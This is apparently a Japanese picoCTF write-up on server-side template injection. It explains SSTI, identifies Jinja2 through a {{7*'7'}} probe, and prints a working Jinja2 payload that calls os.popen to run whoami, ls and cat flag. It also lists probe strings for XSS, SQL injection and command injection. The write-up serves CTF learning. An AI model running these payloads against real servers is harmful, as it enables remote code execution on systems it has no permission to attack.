🙄
Writeup|picoCTF SSTI1
SSTIの基本
そもそもSSTI(サーバーサイドテンプレートインジェクション)とは
サーバー側のテンプレートエンジンに対して、意図しないコードを埋め込める脆弱性。
例:
# PythonのJinja2テンプレート
template = Template("Hello {{ user }}")
template.render(user="{{ 7 * 7 }}") # → Hello 49(コード実行される)
攻撃者が {{ 7*7 }}
や {{ config }}
のようなコードを入力し、サーバー側で評価・実行される。
テンプレートエンジンとは:
動的にWebページやメールの中身を作るための仕組み
例
こんにちは、{{ name }}さん!
name = "えみさく"
→こんにちは、えみさくさん!と出力される。
- 有名なテンプレートエンジン
言語 | テンプレートエンジン |
---|---|
Python | Jinja2、Django Templates |
PHP | Smarty、Twig |
Ruby | ERB、Haml |
JavaScript | EJS、Handlebars |
Java | Thymeleaf、Freemarker |
SSTI問題の方向性:
- 使われているテンプレートエンジンを特定する
- そのテンプレートエンジン特有のSSTIペイロード(テンプレートエンジンに対して「何が実行されるか試すための入力文(攻撃コード)」)を使う
解法
1.使われているテンプレートエンジンを特定する
順番に入力して試していく。
portswiggerのサイトには{{7*'7'}}
の結果が49
ならTwig、7777777
ならJinja2との記載。
今回は7777777
が返ってきたのでJinja2を使用していることが分かる。
2.そのテンプレートエンジン特有のSSTIペイロードを使う
-
whoami
コマンドを実行し、サーバー上での実行ユーザー名を取得する{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('whoami').read() }}
結果として「
root
」というユーザー名が返ってきたので、RCEが通ることを確認できる。💡RCE(Remote Code Execution):攻撃者が、対象のサーバー上で任意のコード(コマンド)を実行できる状態
-
ls
コマンドを使って、現在のディレクトリにどんなファイルがあるかを調べる。{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() }}
ファイル一覧が表示され、その中に
flag
というファイルが見つかった。 -
cat
コマンドで flag ファイルの中身を表示させる。{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag').read() }}
これで flagの内容を確認することができた。
💡注意
Internal Server Errorが出た場合、まずクォーテーションが全角(‘’ や “”)になっていないか確認すること!見た目では気づきにくいが、全角だとテンプレートが正しく評価されない。
おまけ:そもそもSSTIと見抜くために
入力欄に潜む脆弱性は何種類かある。
以下にその主要な例を示す。
処理タイプ | 脆弱性の例 |
---|---|
テンプレートとして使う | SSTI({{7*7}} )→49が返される |
HTMLとして埋め込む | XSS(<script>alert(1)</script> )→アラートが出る |
SQLクエリに組み込む | SQLi(' )→Syntax error in SQL statementのようなエラーが出る |
OSコマンドに使う | コマンドインジェクション(; echo injected )→injected が出る |
Discussion